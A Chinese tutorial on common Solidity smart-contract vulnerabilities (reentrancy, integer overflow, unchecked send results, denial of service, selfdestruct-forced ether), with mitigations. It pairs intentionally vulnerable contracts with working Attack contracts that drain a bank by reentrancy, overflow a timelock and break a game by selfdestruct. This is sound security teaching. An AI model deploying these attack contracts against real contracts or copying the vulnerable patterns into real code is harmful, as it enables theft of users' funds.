智能合约 -- 常规漏洞分析 + 实例

1.重入攻击

漏洞分析

攻击者利用合约漏洞，通过fallback()或者receive() 函数进行函数递归进行持续取钱。

刚才试了一下可以递归10次，貌似就结束了(version: 0.8.20)。

直接看代码:

• 银行合约：有存钱、取钱、查看账户余额等函数。
• 攻击合约: 攻击、以及合约接受以太币就触发的receive()函数。

分析 ： 攻击者通过Attack 合约调用attack()接口,先存钱，后进行取钱;那么Bank会向该合约发送以太币,进而触发Attack合约的 receive()函数,然后又进行取钱操作，由于形成递归操作，Bank合约的withdraw()接口的，账户置0操作无法执行，从而形成无限递归。

// SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0 <= 0.9.0;

contract Bank {
    mapping (address => uint) public balances; // 账户 => 余额

    // 存钱函数
    function desposit() public payable { 
        require(msg.value >0, "save money cannot be zero");
        balances[msg.sender] += msg.value;
    }

    // 取钱函数
    function withdraw() public{
        require(balances[msg.sender] >0,"balance is not exists");
        (bool success,) =   msg.sender.call{value:balances[msg.sender]}(""); // 递归下面的操作必须等待递归之后才能执行
         balances[msg.sender] = 0; // 置0 操作
    }

    // 查看账户余额
    function getBalance() public view  returns(uint){
        return balances[msg.sender];
    }

}

contract Attack {

    Bank public bank;

    constructor( address _bankAddress){
        bank = Bank(_bankAddress);
    }

    // 攻击函数
    function attack() public payable {
        bank.desposit{value:msg.value}();
        bank.withdraw();
    }


    receive() external payable {
        if(address(bank).balance >0){ //如果银行合约还有钱持续调用
            bank.withdraw();
        }
    }
}

漏洞解决

1. 采用更为安全的转账函数

原理 ：函数的执行会消耗gas,如果可支付gas 不满足 递归消耗的gas，从而报错进行合约状态回滚。

<address>.transfer()： 发送失败则回滚交易状态，只传递 2300 Gas 供调用，防止重入。
<address>.send()： 发送失败则返回 false，只传递 2300 Gas 供调用，防止重入。
**<address>.call()：**发送失败返回 false，会传递所有可用 Gas 给予外部合约 fallback() 调用；可通过 { value: money } 限制 Gas，不能有效防止重入。

payable 标识符

在函数上添加 payable 标识，即可接受 Ether，并将其存储在当前合约中。

2.互斥锁

**原理:**第一去取钱,状态变量修改为true，从而将函数锁住，必须等这次函数执行完毕，才能重新对函数进行调用。

3. 先将账户余额置0,再转账

原理: 先账户置0，就算转账触发递归，再次取钱 ,由于账户余额小于0，会直接抛异常。(当攻击这利用Attack合约攻击已修复好Bank合约，按道理能触发递归，接着会报 "balance is not exists",但是他却能正常执行，但是重入没触发，钱存到Bank里，没有拿回来。)

2.整形溢出

漏洞分析

算术溢出（arithmetic overflow）或简称为溢出（overflow）是指在

计算机领域里所发生的。运行单项数值计算时，当计算产生出来的

结果大于寄存器或存储器所能存储或表示的能力限制的情况就称为

算术上溢。反之，称为算术下溢。

我的理解：++输入的数字超过计编程语言的数据类型设置的最大范围，表现出的数字跟预想数字不一致。++

举例： 一个数据类型A取值范围是 0- 5 ,那么3 - 3 = ? 对于数据类型A的结果是多少？

我们可以把 0 - 5看成一个圈, A的最小值是0, 那么 -1 就是5, 那么-3 就是3;

3 + 3 = 6，由于A最大值5，溢出之后, 6 -> 0。

看代码：

// SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0 <= 0.9.0;

contract TimeLock {
    mapping(address => uint) public balances;
    mapping(address => uint) public lockTime;

    // 存钱并且冻结账户一周
    function deposit() public  payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    // 增加冻结时间
    function addLcokTime(uint _time) public {
        lockTime[msg.sender] += _time;
    }

   // 取钱
    function withdraw() public {
        require(balances[msg.sender] > 0, "balance cannot be zrro");
        require(block.timestamp > lockTime[msg.sender] , " account is still frozen");
        uint _value = balances[msg.sender];
        balances[msg.sender] = 0;
        (bool success,) = msg.sender.call{value:_value}("");
        
    }

}

contract Attack{
      receive() external payable {}

      TimeLock public timelock;

      constructor(address _timelock) {
          timelock = TimeLock(_timelock);
      }

      function attack() public payable {
          timelock.deposit();
          timelock.addLcokTime(
              type(uint).max + 1 - timelock.lockTime(address(this))
// 传入uint 最大 + 1 ，溢出变成0, - timelock.lockTime(address(this)) 与拿到map里的冻结时间,与原先冻结时间，相加溢出也变成0.  6 -6 =0 
          );
           timelock.withdraw();
      }
}

漏洞解决

其实引入SafaMath库.参考这篇博客，其实原理很简单。

solidity合约开发-SafeMath_北纬32.6的博客-CSDN博客

我们把TimeLock 合约修改如下:

我们通过将2个值相加的结果，与 2个值进行比较,如果a + b发生溢出,那么 c 会小于a 或者b，从而抛出异常无法执行。

 contract TimnLock {
    ......
    function sum(uint a, uint b) public pure returns(uint){
        uint c = a + b;
        require(c >=a && c >= b, "overflow is trigger!");
        return c;
    }
......

}

3. 未检查返回值

漏洞分析

在soldity中,像send、call、callcode 、delegatecall 和staticcal这些低级函数，会产生返回值作为执行结果,如果我们没有对其返回值进行判断很容易发生逻辑错误。

看下面代码：

我们Lotton合约中sendTowinner()并没有对send()的结果进行处理。

假如，我们没有赞助商通过deposit()赞助奖金,那么 send()函数会因为当前合约balance为0，没有足够eth转账,从而返回false。接着 payedOut 变为true。getWinAmount()进而能正常调用。但这并不是我们希望看到的。

我们希望send()成功，接着 payedOut 变为true,最后公开金额数量。

contract Lotto{
    bool public payedOut = false;
    address public winner; // 获胜者
    uint private  winAmount  = 10000; // 获胜金额
   

    // 2.向获胜者发送奖金
   function sendTowinner(address _addr) public {
       require(!payedOut);
       winner = _addr;
       payable(winner).send(winAmount);
       payedOut = true; 
   }

    // 3. 向外进公开获胜者的金额数量
    function getWinAmount() public  view returns(uint){
        require(payedOut);
        return winAmount;
    }

   // 1.赞助商赞助奖金
   function desposit() public payable {
       winAmount = msg.value;
   }

  
}

漏洞解决

   // 向获胜者发送奖金
   function sendTowinner(address _addr) public {
       require(!payedOut);
       winner = _addr;
       bool success =  payable(winner).send(winAmount); 
        // payable(winner).transfer(winAmount); ,失败直接会报错
       require(success,"send falied");
       payedOut = true; 
   }

4.拒绝服务

我的理解:在soldiity里，拒绝服务漏洞可以简单理解为,因为合约内部或者外部账户操作，致使合约中的函数能大量消耗gas 和Ether或者不能被访问，从而使该函数无法正常执行。

举个例子：超市有三个收银点，正常来说人们排队在收银点进行扫码支 付，但是有一天网络出现了问题，所有收银点的顾客扫码支付都失败了， 而后面的人也不能进行支付买单，就导致了收银点的堵塞，超市不能正常 运营。又或者，在支付时有顾客故意闹事，使得后面的顾客也不能去支 付，这同样也会导致超市不能运营。我们可以看到有来自内部的，还有来 自外部的，都是可能会造成拒绝服务攻击。

1.在外部操控映射或者数组循环

这种情况一般是由于映射或数组循环在外部能被其他人操控,由于映射或数组没有长度没有被限制，从而导致大量消耗Ether和Gas。

看代码：

// SPDX-License-Identifier: MIT
pragma solidity >= 0.8.0 <= 0.9.0;
/*
*@tile: 分发代币
*/
contract DistributeTokens{
    uint public amount;
    address public owner;
    address[] public investors; // 投资者数组
    uint[] public investorTokens; // 每个投资者的token
    uint currentIndex; 
    event Transfer(address _from, uint _amount); // 转让代币触发的事件
    constructor(){
        owner = msg.sender;
    }
    
    // 投资者调用,记录每个投资者的地址，和应该分发的代币
    function invest() public payable {
        investors.push(msg.sender);
        investorTokens.push(msg.value *5);
    }

   // 首次代币分发
    function distribute() public {
        require(msg.sender == owner);
        for (uint i =0;i < investors.length && gasleft() > 30000; i++) {
           transferToken(investors[i],investorTokens[i]);
           currentIndex = i;
        }
    }


    function transferToken(address _from,uint _amount) public {
         // 在这里执行代币转移操作，将代币从合约地址转移到投资者地址
        amount += _amount; // 记录总代币
        emit Transfer(_from,_amount);
    }

}

在上面的代码片段中我们可以看到，distribute() 函数中会去遍历投资者数 组，但是合约的循环遍历数组是可以被外部的人进行人为扩充，如果有攻 击者要攻击这个合约，那么他可以创建多个账户加入投资者的数组，让 investors 的数据变得很大，大到让循环遍历数组所需的 gas 数量超过区块 gas 数量的上限，此时 distribute() 函数将无法正常操作，这样就会造成该 合约的拒绝服务攻击。

解决：如果合约必须通过一个变长数组进行转账,最好估计区块有多少笔交易，从而限制数组长度,另外必须追踪到能够进行到哪以便当操作失败开始从哪里恢复。

上面代码修改:

通过currentIndex 记录遍历数组当前索引，以便出异常查询。在循环中,加入gasleft()比较，从而限制gas的使用。

2.所有者操作

在代币合约中，通常有一个owner账户,也就是合约所有者账户，其拥有开启和暂停交易的权限。如果owner地址缺失，导致非主观的拒绝服务攻击。

在ICO结束后，如果特权用户丢失，其私钥可能会变为非活动状

态，此时，无法调用*finalize()*函数开启交易，那么用户就一直不能发送代

币，合约也就不能进行正常操作了。

解决 : 不能特权用户权限作为唯一判断条件，从而导致整个合约瘫痪。

5. 自毁函数

漏洞分析

参考资料:

智能合约安全审计入门篇 ------ 自毁函数 | 登链社区 | 区块链技术社区 (learnblockchain.cn)

首先,这个在0.8.21版本自毁函数不支持用了。

看下面代码,我们有一个存钱函数，每次只能存一个Ether，如果合约余额大于7个Ether就终止,合约balance == 7个Ether就选出获胜者,并且能赢得这个7个Ether。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

contract EtherGame {
    uint public targetAmount = 7 ether;
    address public winner;
// 存钱
    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        uint balance = address(this).balance;
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }

// 获胜者取钱
    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
}

然后我们，再看漏洞代码，将attack()函数将合约自毁后，将剩余余额发送给EtherGame合约,

假如，我们上面合约余额正好 == 6eth时,攻击者通过自毁向game合约发送1eth 或大于1eth，那么game合约由于合约逻辑将无法选出获胜者,那么正常用户通过合约存进的以太币将全部打水漂。。

contract Attack {
    EtherGame ethergame;

    constructor(address _ethergame) {
        ethergame = EtherGame(_ethergame);
    }

    function attack() public payable {
        address payable adr = payable(address(ethergame));
        selfdestruct(adr);
    }
}

漏洞解决

不宜使用合约真实balance 来作为逻辑判断条件。

下方，我们定义合约余额变量来映射真实合约余额，就算攻击者再次利用自毁函数进行攻击,但由于合约余额变量并未改变将攻击失败。